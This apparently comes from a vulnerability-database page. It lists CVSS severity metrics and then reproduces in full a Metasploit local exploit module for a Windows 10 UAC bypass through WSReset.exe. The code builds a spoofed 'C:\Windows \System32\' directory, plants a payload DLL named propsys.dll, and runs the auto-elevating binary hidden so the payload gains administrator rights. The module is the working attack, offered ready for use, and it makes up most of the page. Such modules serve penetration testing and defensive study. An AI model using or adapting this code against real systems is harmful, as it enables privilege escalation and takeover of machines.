The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows 10 UAC Protection Bypass Via Windows Store
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info = {})
super(
update_info( info,
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)',
'Description' => %q{
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
is run with the "autoElevate" property set to true, however it can be moved to
a new Windows directory containing a space (C:\Windows \System32\) where, upon
execution, it will load our payload dll (propsys.dll).
},
'License' => MSF_LICENSE,
'Author' => [
'ACTIVELabs', # discovery
'sailay1996', # poc
'timwr', # metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [[ 'Automatic', {} ]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'process',
'WfsDelay' => 15
},
'DisclosureDate' => 'Aug 22 2019',
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
},
'References' => [
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
['URL', 'https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e'],
],
)
)
end
def check
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] != payload.arch.first
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target')
end
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
exploit_win_dir = "C:\\Windows \\"
exploit_dir = "C:\\Windows \\System32\\"
exploit_file = exploit_dir + "WSReset.exe"
unless exists? exploit_win_dir
print_status("Creating directory '#{exploit_win_dir}'...")
session.fs.dir.mkdir(exploit_win_dir)
end
unless exists? exploit_dir
print_status("Creating directory '#{exploit_dir}'...")
session.fs.dir.mkdir(exploit_dir)
end
unless exists? exploit_file
session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file)
end
payload_dll = "C:\\Windows \\System32\\propsys.dll"
print_status("Creating payload '#{payload_dll}'...")
payload = generate_payload_dll
write_file(payload_dll, payload)
print_status("Executing WSReset.exe...")
begin
session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true})
rescue ::Exception => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!")
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end